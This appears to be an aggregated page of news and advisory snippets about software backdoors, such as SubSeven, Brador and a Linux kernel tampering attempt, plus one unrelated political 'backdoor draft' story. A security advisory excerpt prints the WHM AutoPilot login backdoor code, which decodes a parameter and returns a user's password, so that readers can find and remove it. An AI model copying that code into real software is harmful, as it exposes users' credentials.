 Virus Information - Backdoor.G_Door.20   (Site not responding. Last check: 2007-10-06)
The backdoor server is installed on victim computers, and the client controls them from a remote station.
As a result, the backdoor server-removal procedure is not a simple problem: it is impossible to remove or rename the KERNEL32.EXE backdoor server file (it is active and locked by the system); the registry keys are controlled by the server (this makes it impossible to reboot the system with a "clear" registry).
Under Win9x, to get rid of this backdoor, it is possible to boot a computer in DOS mode and remove the KERNEL32.EXE file from the Windows system directory, and after booting Windows, it is necessary to remove references to this file in the system registry.

 Linux kernel backdoor blocked | The Register
Software developers on Wednesday detected and thwarted a hacker's scheme to submerge a slick backdoor in the next version of the Linux kernel, but security experts say the abortive caper proves that extremely subtle source code tampering is more than just the stuff of paranoid speculation.
That difference between what the code looks like and what it actually is - that is, between assignment and comparison - is a matter of a single equal sign in the C programming language, making it easy to overlook.
But Loveless says the hack is a glimpse of a more sophisticated computer underground than is normally talked about, and fuel for speculation that backdoors in software products are far more common than imagined.

Merely writing a backdoor program is not illegal under U.S. federal law, but arrests have been made in other countries, most recently Germany and Taiwan.
In a disclaimer evocative of advisories from more mainstream software vendors, Sleaze pointed out in his posting that the backdoor password in circulation only works on an older, unsupported versions of the Trojan horse, and that the latest version of Optix Pro uses stronger encryption to protect a different master password.

 SecurityTracker.com Archives - WHM AutoPilot Backdoor Discloses Authentication Credentials to Remote Users
In the client login page (/clogin.php) there is a built in backdoor for administrators to login as standard user accounts.
The backdoor code needing to be removed is the following: if (isset($c)) { $c=clogin_d(base64_decode($c)); $query="select "; $query.="username, "; $query.="password "; $query.="from "; $query.="user "; $query.="where "; $query.="uid='".addslashes(trim($c))."' "; $query.="limit 0, 1"; $rs=mysql_fetch_row(mysql_query($query)); $username=$rs[0]; $password=clogin_d(base64_decode($rs[1])); } On version 2.4.5, this code is from line 77 to line 94.
An alternative workaround would be to use another vendor, that doesn't put backdoors in their code.

 Bush creating 'backdoor draft' by forcing GIs to stay on, Kerry says
A day after the Army delivered the news to active-duty soldiers and reservists, the presidential candidate raised the specter of the nation inching closer to a draft as he criticized the Bush administration for stretching the military too thin, complicating the mission to create a stable Iraq.
The Army, struggling to find fresh units to continue the occupation of Iraq, announced Wednesday that thousands of soldiers who had expected to leave the military will be required to stay if their units are ordered to Iraq or Afghanistan.
Responding to Kerry in a conference call arranged by the Bush campaign, Sen. Mitch McConnell (R-Ky.) dismissed the idea of a backdoor draft as ''absurd.'' Retired Navy Adm. Thomas Morris said Kerry's suggestion is ''an insult to the wonderful volunteer service we have in the military and the wonderful people we have serving.''

 Updated backdoor program increases danger   (Site not responding. Last check: 2007-10-06)
The SubSeven backdoor, which allows malicious hackers to access and control a user's computer without his or her knowledge, is "one of the highest threats to Windows PCs, especially those running in broadband environments," said Chris Rouland, director of the X-Force research team at computer security firm Internet Security Systems (ISS) in Atlanta.
Backdoors such as SubSeven and the better-known BackOrifice have a tendency to spread quickly because they are easy for hackers to launch, Rouland said.
ISS found one strain of SubSeven 2.17 in thousands of computers, and Rouland estimates the total number of infected machines to be in the tens of thousands.

 Pocket PC Trojan Backdoor Detected
According to Kapersky, Brador is a classic Trojan backdoor program, in that it opens the infected machine for remote administration.
Brador is a small file (less than 6K in size) that typically arrives as an email attachment.
The author was offering to sell the client part for the Trojan to all interested parties, which means that there is a real chance that the backdoor may be bought by somebody who will use it commercially (bot network creation, for instance).

Revenge is sometimes a motive to write malicious software.

However, since the rise of widespread broadband Internet access, a greater portion of malicious software has been focused strictly on a profit motive.
